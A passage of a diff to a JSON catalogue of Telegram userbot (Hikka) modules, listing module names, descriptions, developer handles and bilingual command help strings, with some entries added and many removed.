"| Прощай" + }, + { + "сладкихcmd": "| Сладких снов" + }, + { + "ланcmd": "| Ну ладно" + }, + { + "пжcmd": "| Ну пожалуйста" + }, + { + "дядяcmd": "| Дядя не надо" + }, + { + "хмcmd": "| хмммм" + } + ], + "new_commands": [ + { + "пр": { + "ru_doc": null, + "en_doc": null, + "doc": "| Привет" + } + }, + { + "кд": { + "ru_doc": null, + "en_doc": null, + "doc": "| Как дела?" + } + }, + { + "прив": { + "ru_doc": null, + "en_doc": null, + "doc": "| Приветик" + } + }, + { + "норм": { + "ru_doc": null, + "en_doc": null, + "doc": "| Все нормально" + } + }, + { + "нуи": { + "ru_doc": null, + "en_doc": null, + "doc": "| Ну и что" + } + }, + { + "хорошо": { + "ru_doc": null, + "en_doc": null, + "doc": "| Хорошо" + } + }, + { + "аня": { + "ru_doc": null, + "en_doc": null, + "doc": "| Я Аня" + } + }, + { + "мне19": { + "ru_doc": null, + "en_doc": null, + "doc": "| Мне 19 лет" + } + }, + { + "хз": { + "ru_doc": null, + "en_doc": null, + "doc": "| не знаю" + } + }, + { + "непон": { + "ru_doc": null, + "en_doc": null, + "doc": "| Не поняла" + } + }, + { + "го": { + "ru_doc": null, + "en_doc": null, + "doc": "| Ну давай" + } + }, + { + "да": { + "ru_doc": null, + "en_doc": null, + "doc": "| Да" + } + }, + { + "нуда": { + "ru_doc": null, + "en_doc": null, + "doc": "| Ну да" + } + }, + { + "что": { + "ru_doc": null, + "en_doc": null, + "doc": "| Что?" + } + }, + { + "куда": { + "ru_doc": null, + "en_doc": null, + "doc": "| Куда?" + } + }, + { + "спок": { + "ru_doc": null, + "en_doc": null, + "doc": "| Спокойной ночи" + } + }, + { + "кн": { + "ru_doc": null, + "en_doc": null, + "doc": "| Как настроение?" + } + }, + { + "добр": { + "ru_doc": null, + "en_doc": null, + "doc": "| Доброе утро" + } + }, + { + "пока": { + "ru_doc": null, + "en_doc": null, + "doc": "| Пока" + } + }, + { + "прощай": { + "ru_doc": null, + "en_doc": null, + "doc": "| Прощай" + } + }, + { + "сладких": { + "ru_doc": null, + "en_doc": null, + "doc": "| Сладких снов" + } + }, + { + "лан": { + "ru_doc": null, + "en_doc": null, + "doc": "| Ну ладно" + } + }, + { + "пж": { + "ru_doc": null, + "en_doc": null, + "doc": "| Ну пожалуйста" + } + }, + { + "дядя": { + "ru_doc": null, + "en_doc": null, + "doc": "| Дядя не надо" + } + }, + { + "хм": { + "ru_doc": null, + "en_doc": null, + "doc": "| хмммм" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, "Ijidishurka/modules/ss.py": { "name": "ss", "description": "Подпишись на канал @modwini", @@ -30747,5957 +43803,44 @@ "Chat" ] }, - "unneyon/hikka-mods/privacy.py": { - "name": "PrivacyMod", - "description": "Module for fastly changing privacy settings", + "Ijidishurka/modules/Cat.py": { + "name": "CatModule", + "description": "Отправляет случайное фото котика.", "meta": { - "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/privacy.png", - "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/privacy.png", - "developer": "@kamekuro_hmods" + "pic": null, + "banner": null, + "developer": "@modwini" }, "commands": [ { - "privacytypescmd": "👉 List of setting types to pass it in commands 👉 Список типов настроек для указания их в командах" - }, - { - "allowusercmd": "<user> [setting (optional)] 👉 Add user to includes for some setting <пользователь> [настройка (необязательно)] 👉 Добавить пользователя в разрешённых для какой-либо настройки" - }, - { - "disallowusercmd": "<user> [setting (optional)] 👉 Add user to excludes for some setting <пользователь> [настройка (необязательно)] 👉 Добавить пользователя в запрещённых для какой-либо настройки" + "catcmd": "Отправляет случайное фото котика." } ], "new_commands": [ { - "privacytypes": { - "ru_doc": "👉 Список типов настроек для указания их в командах", + "cat": { + "ru_doc": null, "en_doc": null, - "doc": "👉 List of setting types to pass it in commands" - } - }, - { - "allowuser": { - "ru_doc": "<пользователь> [настройка (необязательно)] 👉 Добавить пользователя в разрешённых для какой-либо настройки", - "en_doc": null, - "doc": "<user> [setting (optional)] 👉 Add user to includes for some setting" - } - }, - { - "disallowuser": { - "ru_doc": "<пользователь> [настройка (необязательно)] 👉 Добавить пользователя в запрещённых для какой-либо настройки", - "en_doc": null, - "doc": "<user> [setting (optional)] 👉 Add user to excludes for some setting" + "doc": "Отправляет случайное фото котика." } } ], "category": [ - "Chat", - "Tools" - ] - }, - "unneyon/hikka-mods/yamusic.py": { - "name": "YaMusicMod", - "description": "The module for Yandex.Music streaming service", - "meta": { - "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/yamusic.png", - "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/yamusic.png", - "developer": "@kamekuro_hmods" - }, - "commands": [ - { - "yguidecmd": "👉 Guide for obtaining a Yandex.Music token 👉 Гайд по получению токена Яндекс.Музыки" - }, - { - "ybiocmd": "👉 Enable/disable autobio 👉 Включить/выключить автобио" - }, - { - "ynowcmd": "👉 Get now playing track 👉 Получить трек, который играет сейчас" - }, - { - "ynowbcmd": "👉 Get now playing track's banner 👉 Получить баннер трека, который играет сейчас" - }, - { - "ylikecmd": "👉 Like now playing track's banner 👉 Лайкнуть играющий сейчас трек" - }, - { - "yunlikecmd": "👉 Unlike now playing track 👉 Убрать лайк с играющего сейчас трека" - }, - { - "ydislikecmd": "👉 Dislike now playing track 👉 Дизлайкнуть играющий сейчас трек" - }, - { - "ylyricscmd": "👉 Get lyrics of the now playing track 👉 Получить текст играющего сейчас трека" - }, - { - "ysearchcmd": "<query> 👉 Search track in Yandex.Music <запрос> 👉 Поиск трека в Яндекс.Музыке" - } - ], - "new_commands": [ - { - "yguide": { - "ru_doc": "👉 Гайд по получению токена Яндекс.Музыки", - "en_doc": null, - "doc": "👉 Guide for obtaining a Yandex.Music token" - } - }, - { - "ybio": { - "ru_doc": "👉 Включить/выключить автобио", - "en_doc": null, - "doc": "👉 Enable/disable autobio" - } - }, - { - "ynow": { - "ru_doc": "👉 Получить трек, который играет сейчас", - "en_doc": null, - "doc": "👉 Get now playing track" - } - }, - { - "ynowb": { - "ru_doc": "👉 Получить баннер трека, который играет сейчас", - "en_doc": null, - "doc": "👉 Get now playing track's banner" - } - }, - { - "ylike": { - "ru_doc": "👉 Лайкнуть играющий сейчас трек", - "en_doc": null, - "doc": "👉 Like now playing track's banner" - } - }, - { - "yunlike": { - "ru_doc": "👉 Убрать лайк с играющего сейчас трека", - "en_doc": null, - "doc": "👉 Unlike now playing track" - } - }, - { - "ydislike": { - "ru_doc": "👉 Дизлайкнуть играющий сейчас трек", - "en_doc": null, - "doc": "👉 Dislike now playing track" - } - }, - { - "ylyrics": { - "ru_doc": "👉 Получить текст играющего сейчас трека", - "en_doc": null, - "doc": "👉 Get lyrics of the now playing track" - } - }, - { - "ysearch": { - "ru_doc": "<запрос> 👉 Поиск трека в Яндекс.Музыке", - "en_doc": null, - "doc": "<query> 👉 Search track in Yandex.Music" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "unneyon/hikka-mods/warpigs.py": { - "name": "WarPigsMod", - "description": "Some auto-functions for your pig in @warpigs_bot", - "meta": { - "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/warpigs.png", - "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/warpigs.png", - "developer": "@kamekuro_hmods" - }, - "commands": [ - { - "afightcmd": "👉 Enable/disable autofight 👉 Включить/отключить автобой" - }, - { - "agrowcmd": "👉 Enable/disable autogrow 👉 Включить/отключить автокормёжку" - }, - { - "setnamecmd": "<name> 👉 Changes your pig's name <имя> 👉 Меняет имя вашего хряка" - } - ], - "new_commands": [ - { - "afight": { - "ru_doc": "👉 Включить/отключить автобой", - "en_doc": null, - "doc": "👉 Enable/disable autofight" - } - }, - { - "agrow": { - "ru_doc": "👉 Включить/отключить автокормёжку", - "en_doc": null, - "doc": "👉 Enable/disable autogrow" - } - }, - { - "setname": { - "ru_doc": "<имя> 👉 Меняет имя вашего хряка", - "en_doc": null, - "doc": "<name> 👉 Changes your pig's name" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "unneyon/hikka-mods/deleter.py": { - "name": "DeleterMod", - "description": "Module for delete your messages", - "meta": { - "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/deleter.png", - "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/deleter.png", - "developer": "@kamekuro_hmods" - }, - "commands": [ - { - "delmsgcmd": "[count] 👉 Delete messages (you can use your trigger from config: «{value}{count}» and write them only together!) [число] 👉 Удалить сообщения (можно использовать значение из конфига: «{значение}{число}», без пробела!)" - } - ], - "new_commands": [ - { - "delmsg": { - "ru_doc": "[число] 👉 Удалить сообщения (можно использовать значение из конфига: «{значение}{число}», без пробела!)", - "en_doc": null, - "doc": "[count] 👉 Delete messages (you can use your trigger from config: «{value}{count}» and write them only together!)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "unneyon/hikka-mods/caliases.py": { - "name": "CustomAliasesMod", - "description": "Module for custom aliases", - "meta": { - "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/caliases.png", - "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/caliases.png", - "developer": "@kamekuro_hmods" - }, - "commands": [ - { - "caliasescmd": "👉 Get all aliases 👉 Получить список всех алиасов" - }, - { - "rmcaliascmd": "<name> 👉 Remove alias <имя> 👉 Удалить алиас" - }, - { - "caliascmd": "<name> <command> [args] 👉 Add new alias (may contain {args} keyword) <имя> <команда> [аргументы] 👉 Добавить новый алиас (может содержать ключевое слово {args})" - } - ], - "new_commands": [ - { - "caliases": { - "ru_doc": "👉 Получить список всех алиасов", - "en_doc": null, - "doc": "👉 Get all aliases" - } - }, - { - "rmcalias": { - "ru_doc": "<имя> 👉 Удалить алиас", - "en_doc": null, - "doc": "<name> 👉 Remove alias" - } - }, - { - "calias": { - "ru_doc": "<имя> <команда> [аргументы] 👉 Добавить новый алиас (может содержать ключевое слово {args})", - "en_doc": null, - "doc": "<name> <command> [args] 👉 Add new alias (may contain {args} keyword)" - } - } - ], - "category": [ - "Chat", + "Media", "Info" ] }, - "unneyon/hikka-mods/tidal.py": { - "name": "TidalMod", - "description": "API wrapper over TIDAL Hi-Fi music streaming service\nThanks @hikarimods for original module: t.me/hikarimods/764", - "meta": { - "pic": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/tidal.png", - "banner": "https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/tidal.png", - "developer": "@kamekuro_hmods" - }, - "commands": [ - { - "tlogincmd": "👉 Open OAuth window to login into TIDAL 👉 Авторизация в TIDAL" - }, - { - "tidalcmd": "<query> 👉 Search track in TIDAL <запрос> 👉 Поиск трека в TIDAL" - }, - { - "turlcmd": "<ID/url> 👉 Search track in TIDAL by ID or url <ID/ссылка> 👉 Поиск трека в TIDAL по ID или ссылке" - } - ], - "new_commands": [ - { - "tlogin": { - "ru_doc": "👉 Авторизация в TIDAL", - "en_doc": null, - "doc": "👉 Open OAuth window to login into TIDAL" - } - }, - { - "tidal": { - "ru_doc": "<запрос> 👉 Поиск трека в TIDAL", - "en_doc": null, - "doc": "<query> 👉 Search track in TIDAL" - } - }, - { - "turl": { - "ru_doc": "<ID/ссылка> 👉 Поиск трека в TIDAL по ID или ссылке", - "en_doc": null, - "doc": "<ID/url> 👉 Search track in TIDAL by ID or url" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "GD-alt/mm-hikka-mods/Dicedestroyer.py": { - "name": "DicedestroyerMod", - "description": "Keeps your chat clean from dices, darts and so on.", - "meta": { - "pic": "https://img.icons8.com/emoji/344/bullseye.png", - "banner": null, - "developer": "@minimaxno" - }, - "commands": [ - { - "deldicecmd": "Set deleting dices in this chat on/off." - } - ], - "new_commands": [ - { - "deldice": { - "ru_doc": null, - "en_doc": null, - "doc": "Set deleting dices in this chat on/off." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/GoogleTrans.py": { - "name": "GoogleTranslateMod", - "description": "Guaranteed to be the most advanced and feature-rich message translation module based on Google Translate,\nwith many useful features.", - "meta": { - "pic": "https://img.icons8.com/color/344/input-latin-letters-emoji.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "autotranslatecmd": "Use language code with this command to add this chat to autotranslate list." - }, - { - "onboardhcmd": "Syntax manual." - }, - { - "dllapcmd": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." - }, - { - "dellapcmd": "Deletes custom language pack." - }, - { - "deflangcmd": "Use language code with this command to switch basic translation language." - }, - { - "searchlangcmd": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." - }, - { - "silentmodecmd": "Use this command to switch between silent/unsilent mode." - }, - { - "subsmodecmd": "Use this command to switch autotranslate subscription mode." - }, - { - "markmodecmd": "Use this command to switch between showing/unshowing «translated» mark." - }, - { - "atlistcmd": "Sends a list of chats, in which autotranslate is turned on." - }, - { - "translatecmd": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." - } - ], - "new_commands": [ - { - "autotranslate": { - "ru_doc": null, - "en_doc": null, - "doc": "Use language code with this command to add this chat to autotranslate list." - } - }, - { - "onboardh": { - "ru_doc": null, - "en_doc": null, - "doc": "Syntax manual." - } - }, - { - "dllap": { - "ru_doc": null, - "en_doc": null, - "doc": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." - } - }, - { - "dellap": { - "ru_doc": null, - "en_doc": null, - "doc": "Deletes custom language pack." - } - }, - { - "deflang": { - "ru_doc": null, - "en_doc": null, - "doc": "Use language code with this command to switch basic translation language." - } - }, - { - "searchlang": { - "ru_doc": null, - "en_doc": null, - "doc": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." - } - }, - { - "silentmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch between silent/unsilent mode." - } - }, - { - "subsmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch autotranslate subscription mode." - } - }, - { - "markmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch between showing/unshowing «translated» mark." - } - }, - { - "atlist": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends a list of chats, in which autotranslate is turned on." - } - }, - { - "translate": { - "ru_doc": null, - "en_doc": null, - "doc": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/PremiumStickers.py": { - "name": "PSAMod", - "description": "Send premium stickers without premium! Advanced version of Hikariatama's module.", - "meta": { - "pic": "https://img.icons8.com/stickers/344/sticker.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "psacmd": "Sends from pack … sticker number … ." - }, - { - "psalistcmd": "Packs list." - } - ], - "new_commands": [ - { - "psa": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends from pack … sticker number … ." - } - }, - { - "psalist": { - "ru_doc": null, - "en_doc": null, - "doc": "Packs list." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/asap.py": { - "name": "ASAPMod", - "description": "Advanced Sending Automatisation Program", - "meta": { - "pic": "https://img.icons8.com/stickers/344/block.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "ataskaddcmd": "Add a task to the list of tasks.\nUsage: .ataskadd <text>\n[time]\n[target] Добавить задачу в список задач.\nИспользование: .ataskadd <текст>\n[время]\n[адресат]" - }, - { - "ataskremovecmd": "Remove a task from the list of tasks.\nUsage: .ataskremove <number> Удалить задачу из списка задач.\nИспользование: .ataskremove <номер>" - }, - { - "atasklistcmd": "Show the list of tasks. Показать список задач." - }, - { - "ataskclearcmd": "Clear the list of tasks. Очистить список задач." - }, - { - "ataskpausecmd": "Pause a task.\nUsage: .ataskpause <number>\nIf no arguments — pause all tasks. Приостановить задачу.\nИспользование: .ataskpause <номер>\nБез аргументов — приостановить все задачи." - }, - { - "ataskresumecmd": "Resume a task.\nUsage: .ataskresume <number> Возобновить задачу.\nИспользование: .ataskresume <номер>" - }, - { - "ataskexeccmd": "Execute a task right now and replan according to the interval.\nUsage: .ataskexec <number> Выполнить задачу сейчас и перепланировать согласно интервалу.\nИспользование: .ataskexec <номер>" - }, - { - "ataskreplancmd": "Change the interval of the task.\nUsage: .ataskreplan <number> Изменить интервал задачи.\nИспользование: .ataskreplan <номер> <время>" - }, - { - "adeftintcmd": "Set the default interval.\nUsage: .ataskdeftint <time> Установить интервал по умолчанию.\nИспользование: .adeftint <время>" - }, - { - "atzcmd": "Set the timezone explicitly if time displayed wrong.\nUsage: .atz <timezone> Явно установить часовой пояс, если время отображается неверно.\nИспользование: .atz <часовой пояс>" - } - ], - "new_commands": [ - { - "ataskadd": { - "ru_doc": "Добавить задачу в список задач.\nИспользование: .ataskadd <текст>\n[время]\n[адресат]", - "en_doc": null, - "doc": "Add a task to the list of tasks.\nUsage: .ataskadd <text>\n[time]\n[target]" - } - }, - { - "ataskremove": { - "ru_doc": "Удалить задачу из списка задач.\nИспользование: .ataskremove <номер>", - "en_doc": null, - "doc": "Remove a task from the list of tasks.\nUsage: .ataskremove <number>" - } - }, - { - "atasklist": { - "ru_doc": "Показать список задач.", - "en_doc": null, - "doc": "Show the list of tasks." - } - }, - { - "ataskclear": { - "ru_doc": "Очистить список задач.", - "en_doc": null, - "doc": "Clear the list of tasks." - } - }, - { - "ataskpause": { - "ru_doc": "Приостановить задачу.\nИспользование: .ataskpause <номер>\nБез аргументов — приостановить все задачи.", - "en_doc": null, - "doc": "Pause a task.\nUsage: .ataskpause <number>\nIf no arguments — pause all tasks." - } - }, - { - "ataskresume": { - "ru_doc": "Возобновить задачу.\nИспользование: .ataskresume <номер>", - "en_doc": null, - "doc": "Resume a task.\nUsage: .ataskresume <number>" - } - }, - { - "ataskexec": { - "ru_doc": "Выполнить задачу сейчас и перепланировать согласно интервалу.\nИспользование: .ataskexec <номер>", - "en_doc": null, - "doc": "Execute a task right now and replan according to the interval.\nUsage: .ataskexec <number>" - } - }, - { - "ataskreplan": { - "ru_doc": "Изменить интервал задачи.\nИспользование: .ataskreplan <номер> <время>", - "en_doc": null, - "doc": "Change the interval of the task.\nUsage: .ataskreplan <number>" - } - }, - { - "adeftint": { - "ru_doc": "Установить интервал по умолчанию.\nИспользование: .adeftint <время>", - "en_doc": null, - "doc": "Set the default interval.\nUsage: .ataskdeftint <time>" - } - }, - { - "atz": { - "ru_doc": "Явно установить часовой пояс, если время отображается неверно.\nИспользование: .atz <часовой пояс>", - "en_doc": null, - "doc": "Set the timezone explicitly if time displayed wrong.\nUsage: .atz <timezone>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/LiMERPMod.py": { - "name": "RPMod", - "description": "A little upgraded mod of module of @trololo_1.", + "Ijidishurka/modules/MessageStats.py": { + "name": "MessageStatsMod", + "description": "Показывает статистику сообщений в текущем чате", "meta": { "pic": null, "banner": null, - "developer": "@mm_mods" + "developer": "@modwini" }, "commands": [ { - "dobrpcmd": "Use: .dobrp (command) / (action) / (emoji) to add command. You can do it without emoji." - }, - { - "addrpcmd": "dobrp alias." - }, - { - "delrpcmd": "Use: .delrp (command) to delete command.\nUse: .delrp all to delete all commands." - }, - { - "rptogglecmd": "Use: .rptoggle to turn on/off RP mode." - }, - { - "rplistcmd": "Use: .rplist to see list of RP commands." - }, - { - "rpnickcmd": "Use: .rpnick (nick) to change nick to user or yourself." - }, - { - "rpnickscmd": "Use: .rpnicks to see list of nicknames." - }, - { - "orpbackcmd": "Backup RP commands (old fashioned method).\nUse as reply to file with commands to load them or use without\narguments to back up them." - }, - { - "rpbackcmd": "New way to backup RP commands. Use as reply to file with commands to load them or use without arguments to back up them." - }, - { - "rpblockcmd": "Use: .rpblock to add/remove exception (use in needed chat).\nUse: .rpblock list to see exceptions.\nUse .rpblock (id) to remove chat from exceptions." - }, - { - "useracceptcmd": "Adding/removing users/chats, allowed to use your commands.\n.useraccept {id/reply}\nTo add chat use without reply and args. Use with -l (L) to see list of users/chats." - }, - { - "mmminfocmd": "Read mod information and updates." - }, - { - "rpchatscmd": "Use: .rpchats to see list of chats where RP commands are allowed." - } - ], - "new_commands": [ - { - "dobrp": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .dobrp (command) / (action) / (emoji) to add command. You can do it without emoji." - } - }, - { - "addrp": { - "ru_doc": null, - "en_doc": null, - "doc": "dobrp alias." - } - }, - { - "delrp": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .delrp (command) to delete command.\nUse: .delrp all to delete all commands." - } - }, - { - "rptoggle": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .rptoggle to turn on/off RP mode." - } - }, - { - "rplist": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .rplist to see list of RP commands." - } - }, - { - "rpnick": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .rpnick (nick) to change nick to user or yourself." - } - }, - { - "rpnicks": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .rpnicks to see list of nicknames." - } - }, - { - "orpback": { - "ru_doc": null, - "en_doc": null, - "doc": "Backup RP commands (old fashioned method).\nUse as reply to file with commands to load them or use without\narguments to back up them." - } - }, - { - "rpback": { - "ru_doc": null, - "en_doc": null, - "doc": "New way to backup RP commands. Use as reply to file with commands to load them or use without arguments to back up them." - } - }, - { - "rpblock": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .rpblock to add/remove exception (use in needed chat).\nUse: .rpblock list to see exceptions.\nUse .rpblock (id) to remove chat from exceptions." - } - }, - { - "useraccept": { - "ru_doc": null, - "en_doc": null, - "doc": "Adding/removing users/chats, allowed to use your commands.\n.useraccept {id/reply}\nTo add chat use without reply and args. Use with -l (L) to see list of users/chats." - } - }, - { - "mmminfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Read mod information and updates." - } - }, - { - "rpchats": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .rpchats to see list of chats where RP commands are allowed." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/GoogleTransRR.py": { - "name": "GoogleTranslateMod", - "description": "Guaranteed to be the most advanced and feature-rich message translation module based on Google Translate,\nwith many useful features.", - "meta": { - "pic": "https://img.icons8.com/color/344/input-latin-letters-emoji.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "autotranslatecmd": "Use language code with this command to add this chat to autotranslate list." - }, - { - "onboardhcmd": "Syntax manual." - }, - { - "dllapcmd": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." - }, - { - "dellapcmd": "Deletes custom language pack." - }, - { - "deflangcmd": "Use language code with this command to switch basic translation language." - }, - { - "searchlangcmd": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." - }, - { - "silentmodecmd": "Use this command to switch between silent/unsilent mode." - }, - { - "subsmodecmd": "Use this command to switch autotranslate subscription mode." - }, - { - "markmodecmd": "Use this command to switch between showing/unshowing «translated» mark." - }, - { - "atlistcmd": "Sends a list of chats, in which autotranslate is turned on." - }, - { - "translatecmd": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." - } - ], - "new_commands": [ - { - "autotranslate": { - "ru_doc": null, - "en_doc": null, - "doc": "Use language code with this command to add this chat to autotranslate list." - } - }, - { - "onboardh": { - "ru_doc": null, - "en_doc": null, - "doc": "Syntax manual." - } - }, - { - "dllap": { - "ru_doc": null, - "en_doc": null, - "doc": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." - } - }, - { - "dellap": { - "ru_doc": null, - "en_doc": null, - "doc": "Deletes custom language pack." - } - }, - { - "deflang": { - "ru_doc": null, - "en_doc": null, - "doc": "Use language code with this command to switch basic translation language." - } - }, - { - "searchlang": { - "ru_doc": null, - "en_doc": null, - "doc": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." - } - }, - { - "silentmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch between silent/unsilent mode." - } - }, - { - "subsmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch autotranslate subscription mode." - } - }, - { - "markmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch between showing/unshowing «translated» mark." - } - }, - { - "atlist": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends a list of chats, in which autotranslate is turned on." - } - }, - { - "translate": { - "ru_doc": null, - "en_doc": null, - "doc": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/YandexTrans.py": { - "name": "YaTranslateMod", - "description": "Guaranteed to be the most advanced and feature-rich message translation module based on Yandex Translate,\nwith many useful features (GoogleTrans, but rewritten). RR-version (Requirements Reduced).", - "meta": { - "pic": "https://img.icons8.com/color/344/input-latin-letters-emoji.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "yautotranslatecmd": "Use language code with this command to add this chat to autotranslate list." - }, - { - "yonboardhcmd": "Syntax manual." - }, - { - "ydllapcmd": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." - }, - { - "ydellapcmd": "Deletes custom language pack." - }, - { - "ydeflangcmd": "Use language code with this command to switch basic translation language." - }, - { - "ysearchlangcmd": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." - }, - { - "ysilentmodecmd": "Use this command to switch between silent/unsilent mode." - }, - { - "ysubsmodecmd": "Use this command to switch autotranslate subscription mode." - }, - { - "ymarkmodecmd": "Use this command to switch between showing/unshowing «translated» mark." - }, - { - "yatlistcmd": "Sends a list of chats, in which autotranslate is turned on." - }, - { - "ytranslatecmd": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." - } - ], - "new_commands": [ - { - "yautotranslate": { - "ru_doc": null, - "en_doc": null, - "doc": "Use language code with this command to add this chat to autotranslate list." - } - }, - { - "yonboardh": { - "ru_doc": null, - "en_doc": null, - "doc": "Syntax manual." - } - }, - { - "ydllap": { - "ru_doc": null, - "en_doc": null, - "doc": "Downloads languages name pack for entered language. Allows to search languages through .searchlang on your own language." - } - }, - { - "ydellap": { - "ru_doc": null, - "en_doc": null, - "doc": "Deletes custom language pack." - } - }, - { - "ydeflang": { - "ru_doc": null, - "en_doc": null, - "doc": "Use language code with this command to switch basic translation language." - } - }, - { - "ysearchlang": { - "ru_doc": null, - "en_doc": null, - "doc": "Searching language by code or name (RU and EN names avaliable — if you downloaded others, you may use them; first usage takes some time to configure database)." - } - }, - { - "ysilentmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch between silent/unsilent mode." - } - }, - { - "ysubsmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch autotranslate subscription mode." - } - }, - { - "ymarkmode": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to switch between showing/unshowing «translated» mark." - } - }, - { - "yatlist": { - "ru_doc": null, - "en_doc": null, - "doc": "Sends a list of chats, in which autotranslate is turned on." - } - }, - { - "ytranslate": { - "ru_doc": null, - "en_doc": null, - "doc": "In fact, it translates. Use (start;final) to mark the start and end language of the translation.\nLeave the start language blank to define it automatically." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/Holidays.py": { - "name": "HolidaysMod", - "description": "Holidays today.", - "meta": { - "pic": "https://img.icons8.com/stickers/344/calendar.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "hollistcmd": "Shows holiday list." - } - ], - "new_commands": [ - { - "hollist": { - "ru_doc": null, - "en_doc": null, - "doc": "Shows holiday list." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GD-alt/mm-hikka-mods/AGA.py": { - "name": "AbsolutGrossartigAntwortMod", - "description": "Tired of people asking you questions? Let this module answer them for you!\nP.S. Author is not responsible for all your problems after using it.", - "meta": { - "pic": "https://img.icons8.com/stickers/344/block.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "agacmd": "Use this command to answer the question." - } - ], - "new_commands": [ - { - "aga": { - "ru_doc": null, - "en_doc": null, - "doc": "Use this command to answer the question." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GD-alt/mm-hikka-mods/Reactor.py": { - "name": "ReactTorMod", - "description": "Reacts manager.", - "meta": { - "pic": "https://img.icons8.com/stickers/344/diamond-heart.png", - "banner": null, - "developer": "@mm_mods" - }, - "commands": [ - { - "rshorthandcmd": "Add a shorthand for a reaction.\n/rshorthand <name> <emoji>" - }, - { - "dshorthandcmd": "Delete a shorthand for a reaction.\n/dshorthand <name>" - }, - { - "shorthandscmd": "Show all shorthands for reactions." - }, - { - "reactcmd": "React to a message.\n/react <name>/<emoji>" - } - ], - "new_commands": [ - { - "rshorthand": { - "ru_doc": null, - "en_doc": null, - "doc": "Add a shorthand for a reaction.\n/rshorthand <name> <emoji>" - } - }, - { - "dshorthand": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete a shorthand for a reaction.\n/dshorthand <name>" - } - }, - { - "shorthands": { - "ru_doc": null, - "en_doc": null, - "doc": "Show all shorthands for reactions." - } - }, - { - "react": { - "ru_doc": null, - "en_doc": null, - "doc": "React to a message.\n/react <name>/<emoji>" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "GD-alt/mm-hikka-mods/Entziferrer.py": { - 